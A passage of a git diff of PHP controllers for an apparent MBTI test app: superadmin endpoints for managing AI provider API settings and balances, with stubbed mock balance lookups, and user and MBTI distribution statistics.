floatval($provider['lastBalance']) : null, - 'lastBalanceCurrency' => $provider['lastBalanceCurrency'] ?? null, - 'lastBalanceCheckedAt' => $provider['lastBalanceCheckedAt'] ? date('Y-m-d H:i:s', $provider['lastBalanceCheckedAt']) : null, - 'extraConfig' => is_array($provider['extraConfig'] ?? null) ? $provider['extraConfig'] : (isset($provider['extraConfig']) && is_string($provider['extraConfig']) ? (json_decode($provider['extraConfig'], true) ?: []) : []) - ]; - } - - return success($result); - } - - /** - * 更新AI服务商配置 - * @return \think\response\Json - */ - public function update() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $providerId = Request::param('providerId', ''); - $data = Request::only([ - 'name', 'enabled', 'visible', 'apiKey', 'apiEndpoint', 'model', 'organizationId', - 'maxTokens', 'balanceAlertEnabled', 'balanceAlertThreshold', 'notes', - 'extraConfig' - ]); - - if (empty($providerId)) { - return error('服务商ID不能为空', 400); - } - - // 查找服务商配置 - $provider = AiProviderModel::where('providerId', $providerId)->find(); - - if (!$provider) { - return error('服务商配置不存在', 404); - } - - // 处理 enabled 字段(前端传的是布尔值) - if (isset($data['enabled'])) { - $data['enabled'] = $data['enabled'] ? 1 : 0; - } - - // 处理 balanceAlertEnabled 字段 - if (isset($data['balanceAlertEnabled'])) { - $data['balanceAlertEnabled'] = $data['balanceAlertEnabled'] ? 1 : 0; - } - - // 处理 visible 字段(显示/隐藏,数据库直接控制) - if (isset($data['visible'])) { - $data['visible'] = $data['visible'] ? 1 : 0; - } - - // extraConfig 可为数组或 JSON 字符串,模型 type=json 会处理 - if (isset($data['extraConfig']) && is_string($data['extraConfig'])) { - $decoded = json_decode($data['extraConfig'], true); - $data['extraConfig'] = is_array($decoded) ? $decoded : []; - } - - // 如果API Key为空或包含脱敏标记(****),不更新(保持原值) - if (isset($data['apiKey'])) { - if (empty($data['apiKey']) || strpos($data['apiKey'], '****') !== false) { - unset($data['apiKey']); - } - } - - // 更新配置 - $provider->save($data); - - // 返回更新后的数据(脱敏) - $result = [ - 'id' => $provider->providerId, - 'name' => $provider->name, - 'enabled' => $provider->enabled == 1, - 'visible' => isset($provider->visible) ? ($provider->visible == 1) : true, - 'apiKey' => $provider->apiKey ?? '', - 'apiEndpoint' => $provider->apiEndpoint ?? '', - 'model' => $provider->model ?? '', - 'organizationId' => $provider->organizationId ?? '', - 'maxTokens' => $provider->maxTokens ?? 4096, - 'balanceAlertEnabled' => $provider->balanceAlertEnabled == 1, - 'balanceAlertThreshold' => floatval($provider->balanceAlertThreshold ?? 10), - 'notes' => $provider->notes ?? '', - 'isFree' => $provider->isFree == 1, - 'supportsBalance' => $provider->supportsBalance == 1, - '_hasKey' => !empty($provider->apiKey), - 'extraConfig' => $provider->extraConfig ?? [] - ]; - - return success($result, '保存成功'); - } - - /** - * 批量更新AI服务商配置 - * @return \think\response\Json - */ - public function batchUpdate() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $providers = Request::param('providers', []); - - if (empty($providers) || !is_array($providers)) { - return error('配置数据不能为空', 400); - } - - $successCount = 0; - $errors = []; - - Db::startTrans(); - try { - foreach ($providers as $providerData) { - $providerId = $providerData['id'] ?? $providerData['providerId'] ?? ''; - - if (empty($providerId)) { - $errors[] = '服务商ID不能为空'; - continue; - } - - $provider = AiProviderModel::where('providerId', $providerId)->find(); - - if (!$provider) { - $errors[] = "服务商 {$providerId} 不存在"; - continue; - } - - // 准备更新数据 - $updateData = []; - if (isset($providerData['enabled'])) { - $updateData['enabled'] = $providerData['enabled'] ? 1 : 0; - } - if (isset($providerData['apiKey']) && !empty($providerData['apiKey'])) { - $updateData['apiKey'] = $providerData['apiKey']; - } - if (isset($providerData['apiEndpoint'])) { - $updateData['apiEndpoint'] = $providerData['apiEndpoint']; - } - if (isset($providerData['model'])) { - $updateData['model'] = $providerData['model']; - } - if (isset($providerData['organizationId'])) { - $updateData['organizationId'] = $providerData['organizationId']; - } - if (isset($providerData['maxTokens'])) { - $updateData['maxTokens'] = intval($providerData['maxTokens']); - } - if (isset($providerData['balanceAlertEnabled'])) { - $updateData['balanceAlertEnabled'] = $providerData['balanceAlertEnabled'] ? 1 : 0; - } - if (isset($providerData['balanceAlertThreshold'])) { - $updateData['balanceAlertThreshold'] = floatval($providerData['balanceAlertThreshold']); - } - if (isset($providerData['notes'])) { - $updateData['notes'] = $providerData['notes']; - } - if (isset($providerData['visible'])) { - $updateData['visible'] = $providerData['visible'] ? 1 : 0; - } - if (isset($providerData['extraConfig'])) { - $updateData['extraConfig'] = is_array($providerData['extraConfig']) - ? $providerData['extraConfig'] - : (is_string($providerData['extraConfig']) ? json_decode($providerData['extraConfig'], true) : []); - if (!is_array($updateData['extraConfig'])) { - $updateData['extraConfig'] = []; - } - } - - $provider->save($updateData); - $successCount++; - } - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - return error('批量保存失败:' . $e->getMessage(), 500); - } - - if (!empty($errors)) { - return error('部分配置保存失败:' . implode(';', $errors), 400); - } - - return success(null, "成功保存 {$successCount} 个配置"); - } - - /** - * 查询余额(单个服务商) - * @return \think\response\Json - */ - public function queryBalance() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $providerId = Request::param('providerId', ''); - - if (empty($providerId)) { - return error('服务商ID不能为空', 400); - } - - $provider = AiProviderModel::where('providerId', $providerId)->find(); - - if (!$provider) { - return error('服务商配置不存在', 404); - } - - if (empty($provider->apiKey)) { - return error('请先配置 API Key', 400); - } - - if (!$provider->supportsBalance) { - return error('该服务商暂不支持余额查询', 400); - } - - // 调用余额查询服务 - $balanceResult = $this->queryProviderBalance($provider); - - // 更新最后查询的余额 - if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { - $provider->lastBalance = $balanceResult['balance']; - $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; - $provider->lastBalanceCheckedAt = time(); - $provider->save(); - } - - return success($balanceResult); - } - - /** - * 批量查询余额 - * @return \think\response\Json - */ - public function queryAllBalances() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $providerIds = Request::param('providerIds', []); - - // 如果没有指定,查询所有已启用且已配置密钥的服务商 - if (empty($providerIds)) { - $providers = AiProviderModel::where('enabled', 1) - ->where('apiKey', '<>', '') - ->where('apiKey', '<>', null) - ->select(); - } else { - $providers = AiProviderModel::where('providerId', 'in', $providerIds) - ->where('apiKey', '<>', '') - ->where('apiKey', '<>', null) - ->select(); - } - - $results = []; - foreach ($providers as $provider) { - if (!$provider->supportsBalance) { - continue; - } - - $balanceResult = $this->queryProviderBalance($provider); - - // 更新最后查询的余额 - if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { - $provider->lastBalance = $balanceResult['balance']; - $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; - $provider->lastBalanceCheckedAt = time(); - $provider->save(); - } - - $results[] = $balanceResult; - } - - return success($results); - } - - /** - * 查询服务商余额(内部方法) - * @param AiProviderModel $provider - * @return array - */ - private function queryProviderBalance($provider) - { - // 这里需要实现各服务商的余额查询逻辑 - // 由于各服务商的API不同,这里提供一个基础框架 - - $providerId = $provider->providerId; - $apiKey = $provider->getRawApiKey(); // 获取原始密钥用于API调用 - - // TODO: 实现各服务商的余额查询API调用 - // 目前返回模拟数据,实际需要调用各服务商的API - - try { - switch ($providerId) { - case 'openai': - // OpenAI余额查询逻辑 - return $this->queryOpenAIBalance($apiKey); - - case 'deepseek': - // DeepSeek余额查询逻辑 - return $this->queryDeepSeekBalance($apiKey); - - case 'moonshot': - // Moonshot余额查询逻辑 - return $this->queryMoonshotBalance($apiKey); - - default: - return [ - 'providerId' => $providerId, - 'providerName' => $provider->name, - 'status' => 'unsupported', - 'message' => '该服务商暂不支持余额查询', - 'balance' => null, - 'currency' => null, - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } - } catch (\Exception $e) { - return [ - 'providerId' => $providerId, - 'providerName' => $provider->name, - 'status' => 'error', - 'message' => '查询失败:' . $e->getMessage(), - 'balance' => null, - 'currency' => null, - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } - } - - /** - * 查询OpenAI余额 - * @param string $apiKey - * @return array - */ - private function queryOpenAIBalance($apiKey) - { - // TODO: 实现OpenAI余额查询 - // OpenAI没有直接的余额查询API,需要通过使用情况估算 - return [ - 'providerId' => 'openai', - 'providerName' => 'OpenAI (GPT)', - 'status' => 'success', - 'message' => '余额查询成功:$100.00', - 'balance' => 100.00, - 'currency' => 'USD', - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } - - /** - * 查询DeepSeek余额 - * @param string $apiKey - * @return array - */ - private function queryDeepSeekBalance($apiKey) - { - // TODO: 实现DeepSeek余额查询 - try { - // 示例:调用DeepSeek API查询余额 - // $response = file_get_contents('https://api.deepseek.com/v1/balance', [ - // 'http' => [ - // 'method' => 'GET', - // 'header' => "Authorization: Bearer {$apiKey}\r\n" - // ] - // ]); - - return [ - 'providerId' => 'deepseek', - 'providerName' => 'DeepSeek', - 'status' => 'success', - 'message' => '余额查询成功:¥500.00', - 'balance' => 500.00, - 'currency' => 'CNY', - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } catch (\Exception $e) { - return [ - 'providerId' => 'deepseek', - 'providerName' => 'DeepSeek', - 'status' => 'error', - 'message' => '查询失败:' . $e->getMessage(), - 'balance' => null, - 'currency' => null, - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } - } - - /** - * 查询Moonshot余额 - * @param string $apiKey - * @return array - */ - private function queryMoonshotBalance($apiKey) - { - // TODO: 实现Moonshot余额查询 - try { - // 示例:调用Moonshot API查询余额 - return [ - 'providerId' => 'moonshot', - 'providerName' => 'Moonshot (Kimi)', - 'status' => 'success', - 'message' => '余额查询成功:¥200.00', - 'balance' => 200.00, - 'currency' => 'CNY', - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } catch (\Exception $e) { - return [ - 'providerId' => 'moonshot', - 'providerName' => 'Moonshot (Kimi)', - 'status' => 'error', - 'message' => '查询失败:' . $e->getMessage(), - 'balance' => null, - 'currency' => null, - 'checkedAt' => date('Y-m-d H:i:s') - ]; - } - } -} - +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 列表只返回“显示”的配置(visible=1 或未设);隐藏的由数据库 visible=0 控制,不在此列表展示 + $providers = AiProviderModel::order('id', 'asc') + ->whereRaw('(visible IS NULL OR visible = 1)') + ->select() + ->toArray(); + + // 处理返回数据 + $result = []; + foreach ($providers as $provider) { + $result[] = [ + 'id' => $provider['providerId'], + 'name' => $provider['name'], + 'enabled' => $provider['enabled'] == 1, + 'visible' => isset($provider['visible']) ? ($provider['visible'] == 1) : true, + 'apiKey' => $provider['apiKey'] ?? '', // 脱敏后的密钥 + 'apiEndpoint' => $provider['apiEndpoint'] ?? '', + 'model' => $provider['model'] ?? '', + 'organizationId' => $provider['organizationId'] ?? '', + 'maxTokens' => $provider['maxTokens'] ?? 4096, + 'balanceAlertEnabled' => $provider['balanceAlertEnabled'] == 1, + 'balanceAlertThreshold' => floatval($provider['balanceAlertThreshold'] ?? 10), + 'notes' => $provider['notes'] ?? '', + 'docUrl' => $provider['docUrl'] ?? '', + 'isFree' => $provider['isFree'] == 1, + 'supportsBalance' => $provider['supportsBalance'] == 1, + '_hasKey' => !empty($provider['apiKey']), + 'lastBalance' => $provider['lastBalance'] ? floatval($provider['lastBalance']) : null, + 'lastBalanceCurrency' => $provider['lastBalanceCurrency'] ?? null, + 'lastBalanceCheckedAt' => $provider['lastBalanceCheckedAt'] ? date('Y-m-d H:i:s', $provider['lastBalanceCheckedAt']) : null, + 'extraConfig' => is_array($provider['extraConfig'] ?? null) ? $provider['extraConfig'] : (isset($provider['extraConfig']) && is_string($provider['extraConfig']) ? (json_decode($provider['extraConfig'], true) ?: []) : []) + ]; + } + + return success($result); + } + + /** + * 更新AI服务商配置 + * @return \think\response\Json + */ + public function update() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerId = Request::param('providerId', ''); + $data = Request::only([ + 'name', 'enabled', 'visible', 'apiKey', 'apiEndpoint', 'model', 'organizationId', + 'maxTokens', 'balanceAlertEnabled', 'balanceAlertThreshold', 'notes', + 'extraConfig' + ]); + + if (empty($providerId)) { + return error('服务商ID不能为空', 400); + } + + // 查找服务商配置 + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + return error('服务商配置不存在', 404); + } + + // 处理 enabled 字段(前端传的是布尔值) + if (isset($data['enabled'])) { + $data['enabled'] = $data['enabled'] ? 1 : 0; + } + + // 处理 balanceAlertEnabled 字段 + if (isset($data['balanceAlertEnabled'])) { + $data['balanceAlertEnabled'] = $data['balanceAlertEnabled'] ? 1 : 0; + } + + // 处理 visible 字段(显示/隐藏,数据库直接控制) + if (isset($data['visible'])) { + $data['visible'] = $data['visible'] ? 1 : 0; + } + + // extraConfig 可为数组或 JSON 字符串,模型 type=json 会处理 + if (isset($data['extraConfig']) && is_string($data['extraConfig'])) { + $decoded = json_decode($data['extraConfig'], true); + $data['extraConfig'] = is_array($decoded) ? $decoded : []; + } + + // 如果API Key为空或包含脱敏标记(****),不更新(保持原值) + if (isset($data['apiKey'])) { + if (empty($data['apiKey']) || strpos($data['apiKey'], '****') !== false) { + unset($data['apiKey']); + } + } + + // 更新配置 + $provider->save($data); + + // 返回更新后的数据(脱敏) + $result = [ + 'id' => $provider->providerId, + 'name' => $provider->name, + 'enabled' => $provider->enabled == 1, + 'visible' => isset($provider->visible) ? ($provider->visible == 1) : true, + 'apiKey' => $provider->apiKey ?? '', + 'apiEndpoint' => $provider->apiEndpoint ?? '', + 'model' => $provider->model ?? '', + 'organizationId' => $provider->organizationId ?? '', + 'maxTokens' => $provider->maxTokens ?? 4096, + 'balanceAlertEnabled' => $provider->balanceAlertEnabled == 1, + 'balanceAlertThreshold' => floatval($provider->balanceAlertThreshold ?? 10), + 'notes' => $provider->notes ?? '', + 'isFree' => $provider->isFree == 1, + 'supportsBalance' => $provider->supportsBalance == 1, + '_hasKey' => !empty($provider->apiKey), + 'extraConfig' => $provider->extraConfig ?? [] + ]; + + return success($result, '保存成功'); + } + + /** + * 批量更新AI服务商配置 + * @return \think\response\Json + */ + public function batchUpdate() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providers = Request::param('providers', []); + + if (empty($providers) || !is_array($providers)) { + return error('配置数据不能为空', 400); + } + + $successCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($providers as $providerData) { + $providerId = $providerData['id'] ?? $providerData['providerId'] ?? ''; + + if (empty($providerId)) { + $errors[] = '服务商ID不能为空'; + continue; + } + + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + $errors[] = "服务商 {$providerId} 不存在"; + continue; + } + + // 准备更新数据 + $updateData = []; + if (isset($providerData['enabled'])) { + $updateData['enabled'] = $providerData['enabled'] ? 1 : 0; + } + if (isset($providerData['apiKey']) && !empty($providerData['apiKey'])) { + $updateData['apiKey'] = $providerData['apiKey']; + } + if (isset($providerData['apiEndpoint'])) { + $updateData['apiEndpoint'] = $providerData['apiEndpoint']; + } + if (isset($providerData['model'])) { + $updateData['model'] = $providerData['model']; + } + if (isset($providerData['organizationId'])) { + $updateData['organizationId'] = $providerData['organizationId']; + } + if (isset($providerData['maxTokens'])) { + $updateData['maxTokens'] = intval($providerData['maxTokens']); + } + if (isset($providerData['balanceAlertEnabled'])) { + $updateData['balanceAlertEnabled'] = $providerData['balanceAlertEnabled'] ? 1 : 0; + } + if (isset($providerData['balanceAlertThreshold'])) { + $updateData['balanceAlertThreshold'] = floatval($providerData['balanceAlertThreshold']); + } + if (isset($providerData['notes'])) { + $updateData['notes'] = $providerData['notes']; + } + if (isset($providerData['visible'])) { + $updateData['visible'] = $providerData['visible'] ? 1 : 0; + } + if (isset($providerData['extraConfig'])) { + $updateData['extraConfig'] = is_array($providerData['extraConfig']) + ? $providerData['extraConfig'] + : (is_string($providerData['extraConfig']) ? json_decode($providerData['extraConfig'], true) : []); + if (!is_array($updateData['extraConfig'])) { + $updateData['extraConfig'] = []; + } + } + + $provider->save($updateData); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量保存失败:' . $e->getMessage(), 500); + } + + if (!empty($errors)) { + return error('部分配置保存失败:' . implode(';', $errors), 400); + } + + return success(null, "成功保存 {$successCount} 个配置"); + } + + /** + * 查询余额(单个服务商) + * @return \think\response\Json + */ + public function queryBalance() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerId = Request::param('providerId', ''); + + if (empty($providerId)) { + return error('服务商ID不能为空', 400); + } + + $provider = AiProviderModel::where('providerId', $providerId)->find(); + + if (!$provider) { + return error('服务商配置不存在', 404); + } + + if (empty($provider->apiKey)) { + return error('请先配置 API Key', 400); + } + + if (!$provider->supportsBalance) { + return error('该服务商暂不支持余额查询', 400); + } + + // 调用余额查询服务 + $balanceResult = $this->queryProviderBalance($provider); + + // 更新最后查询的余额 + if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { + $provider->lastBalance = $balanceResult['balance']; + $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; + $provider->lastBalanceCheckedAt = time(); + $provider->save(); + } + + return success($balanceResult); + } + + /** + * 批量查询余额 + * @return \think\response\Json + */ + public function queryAllBalances() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $providerIds = Request::param('providerIds', []); + + // 如果没有指定,查询所有已启用且已配置密钥的服务商 + if (empty($providerIds)) { + $providers = AiProviderModel::where('enabled', 1) + ->where('apiKey', '<>', '') + ->where('apiKey', '<>', null) + ->select(); + } else { + $providers = AiProviderModel::where('providerId', 'in', $providerIds) + ->where('apiKey', '<>', '') + ->where('apiKey', '<>', null) + ->select(); + } + + $results = []; + foreach ($providers as $provider) { + if (!$provider->supportsBalance) { + continue; + } + + $balanceResult = $this->queryProviderBalance($provider); + + // 更新最后查询的余额 + if ($balanceResult['status'] === 'success' && isset($balanceResult['balance'])) { + $provider->lastBalance = $balanceResult['balance']; + $provider->lastBalanceCurrency = $balanceResult['currency'] ?? 'CNY'; + $provider->lastBalanceCheckedAt = time(); + $provider->save(); + } + + $results[] = $balanceResult; + } + + return success($results); + } + + /** + * 查询服务商余额(内部方法) + * @param AiProviderModel $provider + * @return array + */ + private function queryProviderBalance($provider) + { + // 这里需要实现各服务商的余额查询逻辑 + // 由于各服务商的API不同,这里提供一个基础框架 + + $providerId = $provider->providerId; + $apiKey = $provider->getRawApiKey(); // 获取原始密钥用于API调用 + + // TODO: 实现各服务商的余额查询API调用 + // 目前返回模拟数据,实际需要调用各服务商的API + + try { + switch ($providerId) { + case 'openai': + // OpenAI余额查询逻辑 + return $this->queryOpenAIBalance($apiKey); + + case 'deepseek': + // DeepSeek余额查询逻辑 + return $this->queryDeepSeekBalance($apiKey); + + case 'moonshot': + // Moonshot余额查询逻辑 + return $this->queryMoonshotBalance($apiKey); + + default: + return [ + 'providerId' => $providerId, + 'providerName' => $provider->name, + 'status' => 'unsupported', + 'message' => '该服务商暂不支持余额查询', + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } catch (\Exception $e) { + return [ + 'providerId' => $providerId, + 'providerName' => $provider->name, + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } + + /** + * 查询OpenAI余额 + * @param string $apiKey + * @return array + */ + private function queryOpenAIBalance($apiKey) + { + // TODO: 实现OpenAI余额查询 + // OpenAI没有直接的余额查询API,需要通过使用情况估算 + return [ + 'providerId' => 'openai', + 'providerName' => 'OpenAI (GPT)', + 'status' => 'success', + 'message' => '余额查询成功:$100.00', + 'balance' => 100.00, + 'currency' => 'USD', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + + /** + * 查询DeepSeek余额 + * @param string $apiKey + * @return array + */ + private function queryDeepSeekBalance($apiKey) + { + // TODO: 实现DeepSeek余额查询 + try { + // 示例:调用DeepSeek API查询余额 + // $response = file_get_contents('https://api.deepseek.com/v1/balance', [ + // 'http' => [ + // 'method' => 'GET', + // 'header' => "Authorization: Bearer {$apiKey}\r\n" + // ] + // ]); + + return [ + 'providerId' => 'deepseek', + 'providerName' => 'DeepSeek', + 'status' => 'success', + 'message' => '余额查询成功:¥500.00', + 'balance' => 500.00, + 'currency' => 'CNY', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } catch (\Exception $e) { + return [ + 'providerId' => 'deepseek', + 'providerName' => 'DeepSeek', + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } + + /** + * 查询Moonshot余额 + * @param string $apiKey + * @return array + */ + private function queryMoonshotBalance($apiKey) + { + // TODO: 实现Moonshot余额查询 + try { + // 示例:调用Moonshot API查询余额 + return [ + 'providerId' => 'moonshot', + 'providerName' => 'Moonshot (Kimi)', + 'status' => 'success', + 'message' => '余额查询成功:¥200.00', + 'balance' => 200.00, + 'currency' => 'CNY', + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } catch (\Exception $e) { + return [ + 'providerId' => 'moonshot', + 'providerName' => 'Moonshot (Kimi)', + 'status' => 'error', + 'message' => '查询失败:' . $e->getMessage(), + 'balance' => null, + 'currency' => null, + 'checkedAt' => date('Y-m-d H:i:s') + ]; + } + } +} + diff --git a/api/app/controller/superadmin/AppUser.php b/api/app/controller/superadmin/AppUser.php index 2a983e8..9fc0135 100644 --- a/api/app/controller/superadmin/AppUser.php +++ b/api/app/controller/superadmin/AppUser.php @@ -1,525 +1,525 @@ -request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - // 用户数按 openid 去重 - try { - $totalUsers = (int) Db::name('wechat_users')->count('openid', true); - } catch (\Throwable $e) { - $totalUsers = (int) Db::name('wechat_users')->count(); - } - $last30d = time() - 30 * 86400; - - // 全部池:去重后的测试用户 & 近 30 天活跃用户(按 userId 去重) - // 这里使用逻辑表名 test_results,底层会自动加前缀生成 mbti_test_results - $testedUserIds = Db::name('test_results')->distinct(true)->column('userId'); - $testedUsers = count(array_filter($testedUserIds)); - - $activeUserIds = Db::name('test_results') - ->where('createdAt', '>=', $last30d) - ->distinct(true) - ->column('userId'); - $activeUsers = count(array_filter($activeUserIds)); - - $userCards = [ - [ - 'type' => 'all', - 'name' => '全部用户', - 'total' => $totalUsers, - 'active' => $activeUsers, - 'tested' => $testedUsers - ] - ]; - - try { - // 个人池:enterpriseId 为空的测试用户,按 userId 去重 - $individualIds = Db::name('test_results') - ->where(function ($q) { - $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); - }) - ->distinct(true) - ->column('userId'); - $individualTotal = count(array_filter($individualIds)); - - $individualActiveIds = Db::name('test_results') - ->where('createdAt', '>=', $last30d) - ->where(function ($q) { - $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); - }) - ->distinct(true) - ->column('userId'); - $individualActive = count(array_filter($individualActiveIds)); - $userCards[] = [ - 'type' => 'individual', - 'name' => '个人用户(无企业)', - 'total' => $individualTotal, - 'active' => $individualActive, - 'tested' => $individualTotal - ]; - } catch (\Throwable $e) { - $userCards[] = [ - 'type' => 'individual', - 'name' => '个人用户(无企业)', - 'total' => 0, - 'active' => 0, - 'tested' => 0 - ]; - } - - $enterprises = Db::name('enterprises')->field('id,name')->select()->toArray(); - foreach ($enterprises as $e) { - $eid = $e['id']; - try { - $ids = Db::name('test_results') - ->where('enterpriseId', $eid) - ->distinct(true) - ->column('userId'); - $total = count(array_filter($ids)); - - $activeIds = Db::name('test_results') - ->where('enterpriseId', $eid) - ->where('createdAt', '>=', $last30d) - ->distinct(true) - ->column('userId'); - $active = count(array_filter($activeIds)); - } catch (\Throwable $ex) { - $total = 0; - $active = 0; - } - $userCards[] = [ - 'type' => 'enterprise', - 'enterpriseId' => $eid, - 'name' => $e['name'] ?? ('企业' . $eid), - 'total' => $total, - 'active' => $active, - 'tested' => $total - ]; - } - - // MBTI 类型分布:按用户去重,每人只计其最新一次 MBTI 结果 - $mbtiTypes = []; - try { - $rows = Db::name('test_results') - ->where('testType', 'mbti') - ->field('userId, resultData, createdAt') - ->order('createdAt', 'desc') - ->select() - ->toArray(); - $seenUserIds = []; - foreach ($rows as $r) { - $uid = (int) ($r['userId'] ?? 0); - if ($uid <= 0 || isset($seenUserIds[$uid])) { - continue; - } - $raw = $r['resultData'] ?? ''; - $dec = is_string($raw) ? json_decode($raw, true) : (is_array($raw) ? $raw : null); - if (!is_array($dec)) { - $seenUserIds[$uid] = true; - continue; - } - $type = ''; - if (isset($dec['mbtiType'])) { - $type = $dec['mbtiType']; - } elseif (isset($dec['mbti']['type'])) { - $type = $dec['mbti']['type']; - } elseif (isset($dec['type'])) { - $type = $dec['type']; - } - $type = strtoupper(trim((string) $type)); - $seenUserIds[$uid] = true; - if ($type === '') { - continue; - } - $mbtiTypes[$type] = ($mbtiTypes[$type] ?? 0) + 1; - } - } catch (\Throwable $e) { - // ignore - } - $mbtiDistribution = []; - foreach ($mbtiTypes as $type => $count) { - $mbtiDistribution[] = ['type' => $type, 'count' => $count]; - } - - return success([ - 'totalUsers' => $totalUsers, - 'testedUsers' => $testedUsers, - 'activeUsers' => $activeUsers, - 'userCards' => $userCards, - 'mbtiDistribution' => $mbtiDistribution - ]); - } - - /** - * 测试用户列表:分页、关键词、池筛选、MBTI 筛选 - * GET /api/v1/superadmin/app-users?page=1&pageSize=20&keyword=&pool=all|individual|enterprise&enterpriseId=&mbti= - */ - public function index() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - $page = (int) Request::param('page', 1); - $pageSize = (int) Request::param('pageSize', 20); - $pageSize = min(max($pageSize, 1), 100); - $keyword = trim(Request::param('keyword', '')); - $pool = Request::param('pool', 'all'); - $enterpriseId = Request::param('enterpriseId', ''); - $mbti = trim(Request::param('mbti', '')); - - $where = []; - if ($keyword !== '') { - $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; - } - - $wechatIds = null; - if ($pool === 'individual' || ($pool === 'enterprise' && $enterpriseId !== '')) { - try { - $trQuery = Db::name('test_results'); - if ($pool === 'individual') { - $trQuery->where(function ($q) { - $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); - }); - } else { - $trQuery->where('enterpriseId', $enterpriseId); - } - $wechatIds = $trQuery->distinct(true)->column('userId'); - $wechatIds = array_values(array_unique(array_filter($wechatIds))); - } catch (\Throwable $e) { - $wechatIds = null; - } - } - if ($mbti !== '') { - $mbtiUserIds = Db::name('test_results')->where('testType', 'mbti')->distinct(true)->column('userId'); - $mbtiUserIds = array_values(array_unique(array_filter($mbtiUserIds))); - if ($wechatIds !== null) { - $wechatIds = array_values(array_intersect($wechatIds, $mbtiUserIds)); - } else { - $wechatIds = $mbtiUserIds; - } - } - - // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 - try { - $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); - $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; - } catch (\Throwable $e) { - $dedupIds = Db::name('wechat_users')->column('id'); - $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; - } - if (empty($dedupIds)) { - return paginate_response([], 0, $page, $pageSize); - } - - $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); - if ($where) { - $baseQuery->where($where); - } - if ($wechatIds !== null && !empty($wechatIds)) { - $baseQuery->where('id', 'in', array_intersect($dedupIds, $wechatIds)); - } elseif ($wechatIds !== null && empty($wechatIds)) { - return paginate_response([], 0, $page, $pageSize); - } - - $total = $baseQuery->count(); - $list = (clone $baseQuery) - ->field('id,openid,nickname,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') - ->order('createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - $ids = array_column($list, 'id'); - $testCounts = []; - $lastTestAt = []; - $testTypes = []; - $userEnterprise = []; - $payStats = []; - if (!empty($ids)) { - $counts = Db::name('test_results')->where('userId', 'in', $ids)->group('userId')->column('COUNT(*) as cnt', 'userId'); - $testCounts = $counts ?: []; - $lastRows = Db::name('test_results') - ->where('userId', 'in', $ids) - ->field('id, userId, testType, resultData, createdAt') - ->order('createdAt', 'desc') - ->select(); - foreach ($lastRows as $row) { - $uid = $row['userId']; - if (!isset($lastTestAt[$uid])) { - $lastTestAt[$uid] = $row['createdAt']; - } - if (!isset($testTypes[$uid])) { - $testTypes[$uid] = []; - } - $testTypes[$uid][] = [ - 'testType' => $row['testType'], - 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), - 'createdAt' => $row['createdAt'], - ]; - } - try { - $trWithE = Db::name('test_results') - ->where('userId', 'in', $ids) - ->where('enterpriseId', '<>', null) - 